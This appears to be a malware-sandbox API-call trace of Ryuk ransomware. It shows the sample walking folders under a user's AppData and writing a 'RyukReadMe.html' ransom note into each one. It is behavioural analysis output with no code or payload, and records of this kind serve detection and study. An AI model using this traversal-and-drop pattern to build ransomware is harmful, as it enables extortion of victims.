	[0259.797] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5196d170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5196d170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5196d170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0259.797] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5196d170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5196d170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5196d170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0259.797] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0259.798] SetLastError (dwErrCode=0x0) 
	[0259.798] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\virtualstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0259.798] GetLastError () returned 0xb7
	[0259.798] CloseHandle (hObject=0x5c4) returned 1
	[0259.798] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0
	[0259.798] FindClose (in: hFindFile=0x29f100 | out: hFindFile=0x29f100) returned 1
	[0259.799] SetLastError (dwErrCode=0x0) 
	[0259.799] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0259.799] GetLastError () returned 0xb7
	[0259.799] CloseHandle (hObject=0x438) returned 1
	[0259.799] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1
	[0259.799] SetLastError (dwErrCode=0x0) 
	[0259.799] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0259.800] GetLastError () returned 0xb7
	[0259.800] CloseHandle (hObject=0x438) returned 1
	[0259.800] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0259.800] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.801] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1
	[0259.801] SetLastError (dwErrCode=0x0) 
	[0259.801] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0259.801] GetLastError () returned 0xb7
	[0259.801] CloseHandle (hObject=0x5c4) returned 1
	[0259.801] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0259.802] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.802] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x519932d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x519932d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
	[0259.802] SetLastError (dwErrCode=0x0) 
	[0259.802] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0259.802] GetLastError () returned 0xb7
	[0259.802] CloseHandle (hObject=0x870) returned 1
	[0259.802] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x519932d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x519932d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0259.803] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x519932d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x519932d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.803] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x519932d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x519932d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1
	[0259.803] SetLastError (dwErrCode=0x0) 
	[0259.803] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854
	[0259.803] GetLastError () returned 0xb7
	[0259.803] CloseHandle (hObject=0x854) returned 1
	[0259.804] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x519932d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x519932d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0259.804] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x519932d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x519932d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.804] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 1
	[0259.804] SetLastError (dwErrCode=0x0) 
	[0259.804] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0259.804] GetLastError () returned 0xb7
	[0259.804] CloseHandle (hObject=0x858) returned 1
	[0259.805] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0259.805] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.805] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1
	[0259.805] SetLastError (dwErrCode=0x0) 
	[0259.805] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850
	[0259.806] GetLastError () returned 0x0
	[0259.806] WriteFile (in: hFile=0x850, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10ba58*=0x273, lpOverlapped=0x0) returned 1
	[0259.808] CloseHandle (hObject=0x850) returned 1
	[0259.809] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1f8, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.杄眙")) returned 0xffffffffffffffff
	[0259.809] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0259.809] SetLastError (dwErrCode=0x0) 
	[0259.809] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.809] GetLastError () returned 0x3
	[0259.809] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0259.809] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.809] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 0
	[0259.809] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0259.809] SetLastError (dwErrCode=0x0) 
	[0259.809] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0259.810] GetLastError () returned 0xb7
	[0259.810] CloseHandle (hObject=0x858) returned 1
	[0259.810] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x519932d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x519932d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x519932d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0259.810] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x519932d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x519932d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x519932d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0259.810] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0259.810] SetLastError (dwErrCode=0x0) 
	[0259.810] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854
	[0259.811] GetLastError () returned 0xb7
	[0259.811] CloseHandle (hObject=0x854) returned 1
	[0259.811] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x519932d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x519932d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x519932d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0259.811] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x519932d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x519932d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x519932d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0259.811] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0259.811] SetLastError (dwErrCode=0x0) 
	[0259.811] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0259.811] GetLastError () returned 0xb7
	[0259.811] CloseHandle (hObject=0x870) returned 1
	[0259.812] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51f145b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x51f145b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1
	[0259.812] SetLastError (dwErrCode=0x0) 
